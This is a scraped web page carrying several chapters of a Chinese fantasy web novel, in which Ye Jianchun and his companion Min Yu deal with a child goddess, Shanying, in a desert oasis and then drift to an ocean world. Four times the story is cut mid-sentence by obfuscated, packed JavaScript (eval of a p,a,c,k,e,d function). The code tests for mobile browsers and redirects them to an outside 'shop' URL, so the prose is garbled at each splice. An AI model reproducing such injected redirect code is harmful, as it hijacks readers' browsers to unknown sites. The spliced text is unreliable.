女人奇怪地捂住心口:“可是看他这样难过,我有点心疼。” 男人也向外面看去,安慰地说:“我觉得,那孩子好像一直在压抑自己,希望他以后可以活得轻松自在一点。” - 叶见春如愿见到了躺在床上一动不动的神明。他低头看那个还在昏睡的孩子,冷冷开口:“我知道你没睡。” 女孩猝然睁开眼,盘腿坐在床上:“多好的机会,为什么不走,怎么又回来了?” 叶见春看着她苍白的肌肤,仿佛能看见其下青色的静脉——她看起来那么虚弱,和变做毒蛇咬他的判若两人。他抿了抿嘴,克制住心底的不忍,锐利地问她:“你是神明吗?” 女孩笑起来,露出白白的细细的牙,说:“谁说我是神明了?” 叶见春知道她在说谎,还是顺着问了一句:“那你是谁?” 女孩叹了口气,很干脆地说:“我忘记了。” 叶见春无语地闭嘴。她还真是——一次次戏耍自己。 随之而来的是一种恼羞成怒,叶见春钩刃出袖,速度极快地抵在她脆弱的脖颈前。 女孩反而对他粲然一笑:“你想杀我?” 凭他一个人是杀不了神明的,叶见春诚实说:“我不想,但我要离开这里,找回真正的爸爸妈妈。” 女孩这回是真的疑惑:“爸爸妈妈?那对傻夫妻是你爸妈?” 伤害性不大,侮辱性极强,叶见春反驳说:“他们不是傻夫妻!” 神明看他表情,了然地“哦”了一声,说:“那你不用找了,他们已经死了。” 叶见春眼里燃起愤怒,冲动之下起了杀心。他虎口收紧,女孩的脖子上立即出现一条血线。诡异的是,她的血竟然是绿色的,更像是某种植物的汁液。 而那瞬间,叶见春的头毫无预兆地疼起来,他的手不断颤抖,却无法再向前逼近她半寸——这是被念从外强行侵入的迹象。 她是装的,她根本没有被人囚禁! 被割破皮肉的女孩仿佛毫无知觉,靠着他的刀锋又往前送了一寸,盯着他继续问:“那可是他们最后的意识,你走了就再也见不到他们了,还要离开这里吗?” 这不可能。然而叶见春同时悲哀地意识到,她如此强大,压根没必要骗他。 他捂着巨痛的脑子,瘫倒在床上,艰难地做出选择。 …… 叶见春早就注意到这颗仙人掌,它如此耀眼,是这片绿洲最壮观的植物。 参天的仙人掌长成诡异的十字架模样,宛如一颗大树粗壮,上面的每一个根巨刺似乎都能将人轻易扎烂。叶见春望着女孩说:“是这里吗?” 女孩仰头对他笑:“是啊。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094691|195614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 于是叶见春开始动手砍树,把扎手的刺被拦腰截断,直到他碰到它娇嫩多汁的肌肤,女孩轻轻嘶了一声,他顿时停下来。 “它是神明的本体?” “是啊。” “我砍了她你会死吗?” “又不是我的本体。” 叶见春沉沉地看她一眼,没有多问原因,毫不犹豫地将刃尖捅进。砍到一半,闵宇也找来了,有些好奇他们在做什么。 叶见春随口说自己想吃凉拌仙人掌了。 闵宇真信了。 但他同样也吃过他爸妈做的这道菜,虽然不理解但仍然表示尊重,并欣然加入砍倒仙人掌的行动。 直到仙人掌摇摇欲坠,下一秒就要倒下时,那些原住民们蜂拥而至,将他们团团围住。闵宇才咂摸出一丝不对劲:“春哥,他们怎么看起来很生气?” 叶见春神色坦然:“可能是因为我们正在毁掉他们最珍贵的神树。” “哦这样……什么?!” 沉默过后,闵宇一声不吭地举起双手。 但原住民们并没有因此放过他们:“又是你!我们好心好意对你们,结果你们不仅试图带她逃出绿洲,还想毁掉我们的生机之源。罪念之人,真该让神主来审判你们!” 叶见春神色微动:“神主审判?你们原来不是这个世界的人……你们是之前进来的探险队?现在是判主了么?” 只有保留着宗教统治的小世界里,才奉神明为他们的神主,至今仍然相信原罪论。 “我们没有叛主!不怕告诉你,我们软禁了这里的神明,等时机成熟了自然就会献给神主赎罪。这些天的欢乐时光,是神主赐我们的奖赏。” 他话风一转,指着叶见春他们狞笑着说:“你们才是真正的判主之人!我看见你念的踪迹,你想保护你的身边人,甚至包括……她?” 被察觉到心思的叶见春战术性后退两步,那人突然惊慌失措地喊:“快拦住他,他要推到神树!” 太晚了!叶见春已经伸出手,将全部念力叠于掌心,狠狠一推,仙人掌树终于不堪重负,发出一声脆响,轰然倒塌。 他的手心被一些不起眼的小刺扎伤,伤口虽小,却疼得厉害。 不知道为什么,天真蓝,躺在这颗仙人掌身边,好像连太阳都柔和了几分,不再那么咄咄逼人的燥热,就是不知道哪里有种隐隐的违和感。 等等……他为什么会面对天空? 女孩稚嫩的脸忽然出现他面前,她低头和叶见春微笑解释说:“忘记和你说,这个刺上有之前神明布下的毒液陷阱,能让人产生幻觉,你就当好好睡一觉吧。” 叶见春想说什么,但脑子已经不听使唤,周围的声音越来越小、越来越远。 他心里腾然烧起一种名为背叛的怒火,虽然他并不觉得自己与神明之间有任何同伴关系,很快又变成一种无力的绝望——“恐怕等他再醒来,只会被这些鸠占鹊巢的人们剁成肉酱当晚餐吧。” 女孩似乎能听到他心底的声音,语气像扒着树叶飘下的轻风,在他耳边回荡:“不会的。” 叶见春已经安详地闭上了双眼,但女孩还是把话补完:“他们应该不会这么轻易让你死掉的。” “……” 虽然叶见春没听见,但闵宇的瞳仁已经开始微微涣散:“神明啊,求求您,可以救救我吗?” 女孩被人强行带走了,还不忘给人回应 ——“不行哦。” 6. 生.Chapter 6 叶见春在做梦。 要发现自己正在做梦这件事并不容易,但他记得那双眼睛,亮晶晶的,陌生的,可恶的,带着一点他不明白的淡漠情绪,于是几乎是瞬间,他就认出了她。 神明,她为什么会在这里? 他应该是恨她的,但很奇怪,他心下却十分平静,甚至有点想笑。 强大的神明,现在看起来却异常软弱,甚至可以说是弱小。 她看起来似乎比他梦外见到的神明还小一圈,穿着素白衣服,周围有无数和她差不多大的小孩,赤脚走在沙漠里。而叶见春的灵魂体状态此刻正被困在一个陌生的女孩的身体里。 他意识到这是梦境,却出不去。他既是她,又不是她。 阳光灼烧白嫩的皮肤,叶见春都难以忍耐,但这个陌生女孩却一声不吭。 很快,这些孩子们自发地分成了一个个小团体,分散开来。而神明和女孩恰好走到一起,她们之间虽然没有什么交流,却默契地向着某个隐隐约约的方向,一路前行。 她还那么小,细手细脚的,皮肤透着长期幽禁的惨白,沙漠的酷日下,耀眼得让人难以忽视。叶见春认为无论如何她也绝不该出现在这里。 他不知道神明在和自己玩什么把戏,只能顺着梦境跟着她。他陪她走过漫漫黄沙路,没有合适的衣服,没有武器防身,没有任何食物,她们两个人竟然在这种一无所有暴晒难耐的环境里坚持了三天。 第四天,神明倒下了,叶见春能够感受到他所在的这具身体也只吊着一口气,却仍然拖着她继续往前走。 在神明难得清醒的时候,她伸手忽然指了一个方向,说:“走那边。” 拖着她的人只迟疑了一秒,立即改换方向,到下午黄昏时,她们竟然真的找到了一处水洼。 女孩开心地大笑,不断摇晃神明,然后捧着水自顾自地喝起来。醒来的神明懵懵懂懂地看着她,也学着她的样子,一点点露出一排整齐小小的白牙,僵硬地挤出一个笑容。 叶见春的心莫名软了软,几乎不能将这个连笑都不会的孩子与那个几乎无时无刻不在笑的神明联系在一起。 然而两个无知女孩一次性喝了太多不太干净的水,没一会就捂着肚子,难受地昏了过去。 到了第二天早上,只有神明醒了过来。 不知道是不是那女孩快死了,叶见春发现自己短暂地逃脱了这具躯壳,他终于不用忍受一阵冷一阵热难受的身体了。 他在半空,看到神明与那女孩调换了位置,费劲地拖着她,慢慢在沙漠里移动。 忽然,神明停下来,看着他。 她盯得太专注,叶见春都快怀疑她是不是能看见自己,好奇地在面前张开手摇了摇,最后想摸摸神明的乱糟糟的头发。还没摸到,目光虚空的神明忽然开口说:“那里有一个遮阴的地方。” 叶见春吓了一跳,停下不安分的动作,顺着她目光看去,眉心狠狠一跳。 绝对没有。 至少在神明说这话之前。 广袤黄沙里还没有那座由八根柱身架起的白色神庙。 叶见春后知后觉地意识到,这里并不是他的梦,而是神明的幻梦。 在这梦里,她是毫无疑问的也是唯一的主人。 神明拖着女孩那座神庙的阴影里歇脚,阴凉角落里恰好还趴着一只响尾蛇,她友好地伸出手摸摸它的头,那蛇本能地咬了她一口。 奇怪的是,神明身上并没有任何中毒的迹象,她反而徒手将小蛇抓住。 蛇被拿捏住了七寸,只能吐着蛇信像狗一样乖乖被她玩弄。歇息了一会,她把蛇藏到身上,继续赶路。 神明断断续续拖着女孩走了很久,她的身体早就已经到达了极限,叶见春甚至不知道为什么她还能活着。 有时候神明昏迷的时候,女孩醒了就会拖着她往前走,她们心照不宣地朝着同一个方向,像是一场盛大的朝圣之旅。 终于,她们这样轮流交替,走到了旅途的终点,沙漠的边缘。 ——那是一道巨大的玻璃屏障。 叶见春心漏了一跳,担忧地看向神明。 小小的神明什么也不知道,她眼神疑惑,盯着玻璃门前等待的人,不知道做什么动作,就不太自然地露出一个笑脸。 太可爱了,叶见春不得不承认,这样软糯的神明,没有人会讨厌。 但那个等待的男人只是递给她一把刀,温声对她说:“很抱歉,你们只能出去一个人。” 神明仰头,那人就像一位慈祥的父亲,轻轻摸了摸神明脏脏的脑袋。 而被她拖着的女孩也似乎有所感应似地醒来,她大一点,懂得也更多,她立马抢过神明手中的刀,颤抖地对准神明。 神明歪着头看她,脸上还是挂着笑,似乎什么也不明白。 女孩紧紧闭上眼,送出手中的锋利的刀刃,而神明怀里忽然跳出那只蛇,冲着她咬了一大口。 叶见春再一次感受到濒死的痛觉。 太难受了。 难受到他认为是不是神明故意在整他,不然为什么要将所有的痛苦都让他共享。 叶见春并不怕死,他也曾在虚拟机里经历过很多次死亡,但虚拟机里的死亡也只是脑震荡的疼,而不是这种五脏六腑的痛。 毒素蔓延全身,女孩倒在地上,脸色发黑,嘴唇乌紫,最后看了一眼神明,然后闭上了眼睛。 神明对死亡没有概念,她好奇地蹲下来,捏了捏她还未僵硬的脸庞,对她笑了笑,想让她醒来。 她不会再醒来了。 那男人满意地对她说:“001,你现在可以出去了。” 神明听话地走到他身边,也对他笑了笑,露出标准的一排小牙,然后猝不及防地将藏着的刀狠狠扎进他的大腿。 那人神色大惊,捂着伤口蹲下来,看着眼前这个孩子重新恢复那副一贯的无动于衷的冷淡表情,突然又神经质地笑出声:“你果然是最成功的,最成功的哈哈哈哈!” 神明看着他脖子青色刺青下的血管突突跳动,有点迷茫。她没有理会疯了的他,回头又走到女孩身边。 她把女孩嘴角往上轻扬,想,她刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094692|195614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚是想说什么呢? 叶见春已经离开了这具身体,他蹲下来,悄悄在她耳边说:“她说,活下去。” 可是神明听不见,她坐在黄沙里一动不动,像是一座雕塑。男人、玻璃和地上的女孩都像奶油般化开,变成一捧黄沙,被风吹散。 过了很久,她忽然跌跌撞撞地往前走,叶见春连忙跟上去,看见她像无头苍蝇一样在沙漠里乱走,身边的一切都随流沙一起消散,抓不紧也握不住。 叶见春仍然不知道她为什么会做这样奇怪又伤心的梦。 神明停下来,眼神盛满迷茫脆弱,叶见春萌竟然生出抱抱她的想法。梦里的她,不是神明,只是一个可怜的什么都不明白的孩子。 他轻轻抱住这个孩子。 神明抬起小脸,突然伸出五指,抓住他的胳膊,问:“你是谁?” 叶见春离她很近,能清晰地看到她的目光依旧不在他身上,他一回头,才发现抱着她的根本就不是自己。 他眉头紧了又松,嘴唇嗫嚅着,难以置信:“妈妈?爸爸?” 但叶家夫妻两个人看起来情况并不好,他们气若游丝,奄奄一息。叶清泠抱着她说:“山樱,你不认识我们了吗?” 神明没有感情地反问他们:“山樱是谁?” 他们注视着她的眼睛,没有看到一丝熟悉的目光,长长叹了口气,说:“山樱,他们欠你太多,不记得也是好事。你的本体碎成这样,自然也不认识我们。” 神明似懂非懂:“所以你的意思是,我只是本体的碎片?” 叶清泠点了点头,大口喘气。 神明看着他们,眼里多了一丝自己都不明白的悲凉:“你们快死了。” 叶清泠怀里抱着小小的她,温柔地撩起她眼前的碎发别至耳边,说:“是的,不必难过,我们来到这里没有后悔过今天的决定。只有一件事我们放心不下,如果有一天,春天来找我们,请你帮我们保护好他。告诉他、告诉他这个世界的真相!” 她说到最后两个字的时候似乎有些激动,吐了一大口血。神明眨眨眼:“什么真相?” 叶清泠进气多出气少,话也说不长:“将你的本体补齐,你会记起的。人类的命运,好的坏的都落在了你身上。山樱,实在是,对不起。” 山樱仰头看她,说:“你们身上的伤明明是我的念造成的,为什么要对不起?还有春天是谁?我不认识他。” “他……”她的头垂下去。 山樱孩子气地鼓起脸,命令说:“醒醒!” 他们已经没有呼吸了。 神明摇晃他们,却得不到回应。她顿了顿,思考一阵后咬破手指,将血强行喂进他们口中。 死去的两人忽然站起来,但眼神却失去了神采,他们像没事人一样牵着她离开了,地上只留下了两株相伴而生的梭梭树。 叶见春想留住他们,可是灵魂形态的他什么都抓不到。他大声呼喊,大滴大滴的眼泪顺着鼻梁往下砸,最后呼吸越来越困难。叶见春猛地深吸气,同时睁开被浸湿的双眼。 他醒了。 7. 生.Chapter 7 他一醒来,闵宇像抓住救命稻草似的欣喜地喊他:“春哥,谢天谢地——你终于醒了,我们怎么办呀!” 原来他们被五花大绑在一个木桩上,叶见春连弯手动作都难以做到,绑得很严实。叶见春的念化为一把锋利小刀,来回摩擦。 过了片刻,他喘息一声,咬牙切齿地想,这是什么绳子怎么就割不断? 早知道就不该相信那个骗子! 害死了他的父母,现在又要害死他! 叶见春不自觉地想起他扒在神明的床前,看着那张天真稚嫩的脸,后槽牙几乎抬不起来,压着嗓子说:“我想知道,当年到底发生了什么?” “这个……我也不知道呀,那得找到我本体才知道。” “怎样才能找到你本体?” 神明斜睨他一眼,那眼神里的意味再明显不过——她为什么要帮他? 叶见春咬咬牙,把不甘和疑惑硬生生压下去,声音软了几分,示弱道:“难道你不想知道当年发生了什么吗?你离开本体这么久又能撑多久?求你神明,只有你能帮我,我需要你帮我。” 也不知道神明的小脑瓜是不是真的认同他所说的,神明与他四目相对,静悄悄的几瞬过后,她笑嘻嘻地停止了折磨他的念:“好吧,可能有点痛苦,春天,可不要后悔呦!” - 何止是痛苦,闭眼是死,睁眼还是死。 现在,连神明在哪他都不知道。 他语气算不上好,说:“等死。” 闵宇一愣,假哭变真哭。 叶见春眉头皱得更深,过了一会,他总算咳了两声,对哭得毫无形象可言的闵宇说:“别浪费力气了,听我说,把你的念集中。” 闵宇停下哭泣,使劲眨巴眨巴眼睛,长长的睫毛上还挂着细密的泪珠,听话地集中念力,等着叶见春的下一步指示。 “然后,心里默念,一定会有人来救我们的。” 闵宇立即睁眼懵懂地看他,声线颤抖:“纯赌吗?!” 他知道自己运气好,但追逐运气并不是万无一失的,否则他怎么可能会出现在这里? 叶见春露出一个极淡的笑容,只是那双眼睛里没有见到任何笑意,点点头,说是。 闵宇认命了,当他再次闭眼集念,他的念慢慢变成一个兔子玩偶的模样——还真有点像吉祥物的布玩偶,脑海中不断地呼救。 “苍天啊神明啊!来个人救救我吧!” “求求了求求了!” “小弟愿给祂跳一辈子机器舞!” 突然,急促的脚步声打断了闵宇的思绪,他睁眼一看,竟然真的来了两人,眼圈红红的,手里一瓶药水。 他扭头看叶见春,发现春哥似乎在走神,嘴巴似乎在喊什么,但一点声音也没有,不知道说啥。闵宇已经等不及了,扑在地上对他们急切地喊:“救救我们吧,要我们做什么都行,求求您!” 两人没说话,只默默把药水倒在绳子上,一阵难闻的气味飘起,绳子很快断开,那俩人立即让他们快走。 叶见春固执地没动。 闵宇反应再迟钝也察觉出气氛的微妙不对。为什么那边看起来更像是一家三口,他夹在中间就像扎眼无比的电灯泡。他把屁股默默往外挪了两瓣的距离,揉着自己发酸的手腕。 “春天,离开这里,去你想去的地方,做你想做的事情。” “春天,忘掉我们,不要活在虚妄里,要开心,要幸福,无忧无愁。” 叶见春的眼泪不断往外涌,他眼眶泛红,死死抓着他们,结结巴巴地说:“爸爸……妈妈,你们记起我了?我们一起出去好不好?” “山樱说,你是我们的孩子。原来我们的春天已经长这么大了,现在会是这副模样。”女人伸手轻抚他的脸颊,指尖触感虚幻却温暖,目光暗含着热切又悲悯的欣慰。 她接着说:“孩子,你知道的,我们出不去。” 叶见春眼睛充血般通红,有些崩溃地问:“是不是她害了你们?告诉我……我可以杀了她,我一定会杀了她!” 一双温暖的手轻轻抚摸他的头发,把他抱在怀里,好像他还是那个在妈妈怀里没有长大的幼儿:“春天,妈妈不记得了。但爸爸妈妈都希望你,不要只用眼睛看,也要用心去感受,不要让自己活在仇恨里。哪怕你知道了真相,也一定要好好地活下去。” 她的目光穿透漫长的岁月,轻柔地落在他身上:向前走,别回头,爸爸妈妈永远爱你。” 她顿了顿,有些遗憾又不知从何说起:“所以,帮帮她吧。就当作帮帮爸爸妈妈,让我们无牵无挂地离开,好吗?” 那是闵宇第一次见到脆弱撒娇的春哥,他捂着眼睛的手悄悄露出一条缝,忍不住看了一眼。 只见平时冷静自持的叶见春,此刻却像个迷途的孩子,硕大的泪珠接连滚落。他小声的请求说:“别离开我。” 男人心疼地擦掉儿子的泪水:“儿子,我们的爱永远都会陪着你,只要你活着,我们就很高兴,真的。” 真的吗? 叶见春弓着背身体无力地滑跪在地上,捂脸大哭。 可是他一个人活在这世上。 真的好难过。 - 赤日炎炎的沙地上,一群人拿着锋利的石片在被绑着的女孩身上划开口子,但伤口很快愈合,他们反反复复将她愈合的伤口再次割开。 女孩身体里不断流出绿色液体,他们捧着汁液般的绿色鲜血,茹毛饮血地喝下去。他们的身体开始发生变化,皮肤透明,能看到其下有淡绿色的液体在吞噬红色血液,他们不再惧怕阳光炙热,反而觉得无比舒适。 远处忽然燃起大火,那是神树的方向。人们惊慌失措,几乎同时向那个方向去。 现在只有三五个人还留在这里,叶见春躲在暗处又快又准地吹出麻醉针,几人纷纷倒地。闵宇瞅着那细细的针管越看越觉得不对劲,又说不出来是哪里不对。 而这时叶见春已经将女孩救下,背在身后,又一手拉着他往西边跑。 他们跑了没一段距离,听见后面很快就传来追逐的脚步声,女孩环住叶见春的脖子,贴着他的耳侧说:“只要你放下我,他们就会放过你。” 叶见春反而加快脚步,态度坚决:“我答应了爸妈,要救你。” “他们是假的。” “如果是假的,你为什么会被他们囚禁。” 女孩忽然意识到了什么,抓住他的头发向后扯:“你把梭梭树也烧了,你竟然烧了他们!” 叶见春被她怒气冲冲的念侵入,脚下一空,跪倒在地上,女孩也顺势从他背上跳下来。 然而他死死拽住她的袖子不肯松手:“山樱,让我要出去,我会找到真相,我爸妈为什么会认识你?他们又是怎么被你害死的?他们最后说的世界真相究竟是什么?” “竟然被你看到了。”女孩眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094693|195614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神里有一丝惊讶,让她终于看起来有了几分活人味,她冷冷凝视着他。像是忽然想到了什么好点子,她笑了笑,说:“出去其实很简单,像你梦到的那样,你们两个人,也只有一个能出去。” 她握住他右手,逼迫他将手腕上的缠臂化为一把利刃,轻笑着看他的反应。 真是活见鬼了,本来还觉得这小孩长得还挺像他妹妹,心肠怎么这么黑!闵宇立即上前大力按住叶见春的双手,闭眼大喊:“春哥不要啊!我们才是一伙的,她在骗你,她说的都是假的!” 女孩仍然在他耳边说话:“他自私怯懦,从来都是只顾自己性命。墙头草两边吹,要不是你骗他去砍神树,他肯定就加入后面追来的那些人了。这样的人,杀了又如何?” 闵宇干脆狠狠推开她,说:“你滚远点,我没有,我没有!我不会害春哥的!” 叶见春挣扎地爬起来,握紧刃,紧紧地盯着闵宇,闵宇退了两步,抱着头蜷缩起来。他后悔了,春哥血红的眼神太可怕了,他应该找点防身的东西再跑的。 可下一秒,叶见春脚步攸地一转,刀尖对准了神明的脖颈,明明是在威胁别人,姿势却像是从后面跪着拥抱她。他克制住自己的厌恶,压低声音说:“神明,算我求求你,让我们出去,我可以带你去找你的本体。” 身后的追兵越来越近,越来越近。 “你可真善良,自己都这样了,还不放弃。”山樱轻握住冰凉的刃,嘴角弯起一抹笑,说,“好吧,看着你名字的份上,我勉强可以做你的神明——允许你的请求。” 她毫无预兆地转头,将刀刃送进心口,又毫不犹豫地拔出——就像当初她以为那个女孩会做的那样。 叶见春眼眸登时睁大,慌忙地捂住她的伤口,止不住的血往外冒。不知道什么时候,她的血,竟然变成了人类的红色,溢出刺目的大片赤色,看着触目惊心。身后的脚步声瞬间消失了,闵宇心有余悸地往后望,发现他们都变成了一棵棵低矮的草木,扎根在沙中。他害怕地啊啊啊叫出来。 可叶见春没空看那些草木,他的注意力全在他怀中的孩子,摇头不知所措:“你为什么……” 山樱还是在笑,她的手轻轻搭在叶见春的缠臂??上:“你的愿望实现了,怎么不高兴?” 她不是神明,她那么瘦,只是神明的小时候的记忆碎片——一个看起来有点可怜的孩子而已。叶见春看着她,竟然有点难过,想说些什么安慰她。 说什么呢? 他说:“她想你活着。” 神明笑得更开心了:“我不在乎,我只是想尝尝死亡是什么滋味……真希望她还活着。” 叶见春听她前后矛盾的话,忍不住想,嘴硬的神明,明明很在乎。 她的身体慢慢消失,而叶见春手上的缠臂却不断发烫发热,尾端最末一环竟然渐渐变成圆润实木,还长出来几片稀稀拉拉的叶子。 没想到她的本体碎片竟然附到这缠臂上。 她最后的声音轻如羽毛,说:“小春天,我们还会再见的。” 叶见春站起身,眼神空空荡荡,仿佛丢失了什么很重要的东西。 他们面前忽然出现一道门,闵宇激动大叫:“时空门,春哥,我们可以进小世界内部了!” 叶见春没有说话,最后看了一眼高温沙丘上方的湛蓝天空,果断地推开那扇门。 时空黑洞吞噬他们两人的身影,只留下一望无际的黄沙。 8. 杀.Chapter 8 海洋最中心,一叶偏舟悄然停于其上。光线从云间缝隙里洒落,洒下一片波光粼粼。盯得时间久了,水面仿佛笼罩着一层彩虹光泽。 一只黑白相间的巨物发现了这艘破烂不堪的小船,它兴奋地发出尖锐刺耳的叫声,故意制造出巨大的水浪,将船上人淋得透湿。 船上没有人理会虎鲸宝宝顽劣无聊的恶作剧,因为他们现在有点苦恼。 自从他们被时空门送到这个行动困难一望无边的深海里,两天了,一点办法也没有。 神明“好心”地给他们准备了这艘救生小船。但船上没有发动机,没有太阳能,没有任何隔水措施,只有一根锈迹斑斑的铁叉,真就好古老一条船。 叶见春发现这个世界的神明似乎格外喜欢充满年代感的复古玩意,让他们不得不放弃城市文明,成为野蛮的原始人。 这里的海洋比叶见春曾经想象中的更大更深,贴近水面,能看见无数海洋生物藏于水下。 他用鱼叉捕鱼,但或许是技术不好,总是一无所获。倒是闵宇,他忐忑地刚拿到鱼叉,忽然挂起一阵阴风,然后无数鱼从水下飞出,直直落在单薄的船板上。 叶见春记忆中,小时候他曾在母亲的插画本里见过这种神奇的灭绝生物——飞鱼。但真正看到,又是另一种新奇的感受。 他想去触碰那美丽动人的鱼鳍翅膀,却被飞鱼坚硬的骨头划破了皮。他按了按伤口,自嘲地笑笑,接着毫不手软地插了四五条做成生鱼片。 只是这鱼不仅骨头硬,还不大美味,这两天吃得脸都快绿了。 他们精疲力尽,海水都快把人腌出味来了。而且衣服的调温系统也坏了,黏糊糊地粘在身上。温度不断上升,只能把它脱掉盖在头上企图糊弄太阳。 “春哥,你再试试找一下生机吧,这里太难了,早知道就烂在牢里了!”闵宇语调虚弱,似乎已经受够了阴晴不定的海上漂流。 叶见春神色如常,可仔细感受的话,他浑身上下都散发出死物才有的磁场特征,干巴巴地笑:“哈哈,昨天我就说了,附近没有生机。” 探测生机需要耗费大量的念,他昨天所搜寻到的最大范围里没有一点陆地的痕迹,而海底下的生机又难以企及。 话是这么说,他的手仍然伸进水里,耗尽最后一点念力寻找生机所在,然而一伸手就摸到滑滑嫩嫩的触感,他触电似地收回手。 他目光移过去,看到那只虎鲸幼体悄无声息地在他们船下。它真的很调皮,竟然直接一个深潜甩尾,打翻了这艘早就不堪重负的小船。 不一会,两个脑袋从水里冒出来,扒着翻船的边沿。闵宇生无可恋地看着无穷无尽的海面,体力也有些支持不住。但另一只落汤鸡的眼睛攸地亮起来,说:“生机,现在距离我们只有十公里。” 十公里,肉眼看去,只是一个不起眼的小黑点。对视力稍差的人来说,十公里意味着世界以外,当然,目前的人类基因几乎已经看不到十公里以外的景象,而以他们仅剩不多的体力,也绝不可能游到十里外。 有什么是比和希望擦肩而过更绝望的事呢? 虎鲸宝宝仍然徘徊在他们身边打转,像是对待自己的玩具,有点兴奋,不愿离开。 叶见春思忖片刻,从储物袋里翻来覆去找到那串瘆人的蛇尾,在闵宇嫌弃狰狞的表情里,试探性地摇了摇。 骨与骨之间发出沙沙的脆响,听得令人心底发毛。 这种不存在于虎鲸生命认知内的生物本该对它具有一定震慑作用,但虎鲸没有被吓退,反而更加激动起来。黑影自下而上浮现,巨大的脊背将两人托起,以极快的速度向远方游去。 两人来不及反应,立即抱住虎鲸的身体。 叶见春的手紧紧抓着虎鲸滑不溜秋的背鳍,海风混杂着咸水打在脸上,清凉得不可思议。更不可思议的是,一艘如山高般巨大的轮船离二人越来越近。 ——那艘船正是他所感知到的生机。 他愣神的片刻,虎鲸速度已经放缓,它在下面喷出高高的水柱,巧妙将叶见春手里的蛇尾打掉,然后跃出水面,咬在嘴里扬长而去。 好像完成了什么交易一样,叶见春摇摇脑袋,把一些不合时宜的猜想摇出去。自己大概是想见神明想疯了,连只鲸鱼都能看出神明的几分恶劣。 闵宇在水里扑腾着拼命向船上求救,船底部中央从内部伸出一截铝钛自动升降平台,将他们稳稳地放至甲板。 - 甲板上,空无一人。 从甲板往船舱里看,有两条侧路,几乎望不到头,带着潮气的海风穿过其中,带着一丝阴冷的冰凉。两侧客舱房间整齐排列,每一间都挂着门牌号,但无一例外,房门紧锁。 生机可能就在这些门后,叶见春已经没有多余的念力来探查。但他知道,只有神明所在的那扇门是生机,而其他的,或许会要了他们的命。 在狭隘的小船里挤了这么久,乍然站着这么空旷的地方,闵宇的脚后跟麻麻的,忍不住偷偷往前了挪一步,又一步。 脚下某处忽然塌陷下去,发出清脆的响声,身体比大脑更先反应过来,闵宇抱着头蹲在地上,几束不知道从哪来的射线飞溅出绚烂的火花,把甲板的铁皮都生生烧断,叶见春连忙把他捞到自己后面,才堪堪躲过一劫。 闵宇吓得路都走不动了,结结巴巴说:“春、春哥,有杀气!” “也有生路。”叶见春盯着地上卷曲的铁皮,割下来部分往前一扔试探着向前。 他原想分成两路,可惜闵宇死活不同意,两个人只好并行到距离最近的门口,金属环轻轻一扭,门就轻易被打开了。 凉丝丝的冷气从里面散发出来,里面的场景与外面截然不同却又温馨至极。暖光下织着毛衣的老太太陷在真皮沙发里,听到动静她扶了扶眼镜,前面的VR屏幕随之闪烁几下,混浊模糊的镜片下是一双犀利精明的眼睛,她盯着他们问:“你们是什么人?” “……” 她语气分明很凶,但叶见春莫名觉得亲切,好像他曾在哪听过同样的话。 他镇定自若走进去,说:“奶奶,我们恰好路过这里,想喝口水不知道可不可以?” “你们不是我在等的人,小孩子家家别乱跑。”老人并不打算理会他们,立即下了逐客令。 叶见春却偏要不知死活地凑上前询问她:“您在等谁?或许我们可以帮忙找找。” 眼镜下的眼睛扫过他的脸,几秒钟后,那双苍老松弛的手僵硬且不自然地摸了摸他的面颊,忽然开口说:“你长得很好看,进来坐坐吧。” 闵宇:不是??这对吗? 过了几分钟,两个人端着两杯热可可,坐在柔软无比的沙发上,和老人坦然聊着家常。 老人用丝巾擦拭眼泪,说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094694|195614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“可怜的孩子,这么说,你的父母都不在了,你一个人多孤独啊,这些该死的神明,竟然这样对你。” 叶见春笑得恰到好处,连嘴角的弧度都带着淡淡的忧伤,说:“没关系,我都习惯了。倒是您,这样诅咒神明不会出事吗?” “没事的,黛栗奶奶我一把骨头了,怎么会怕他们?” “奶奶你真好。” 闵宇:为什么他能从面前的热可可里闻到茶香?? 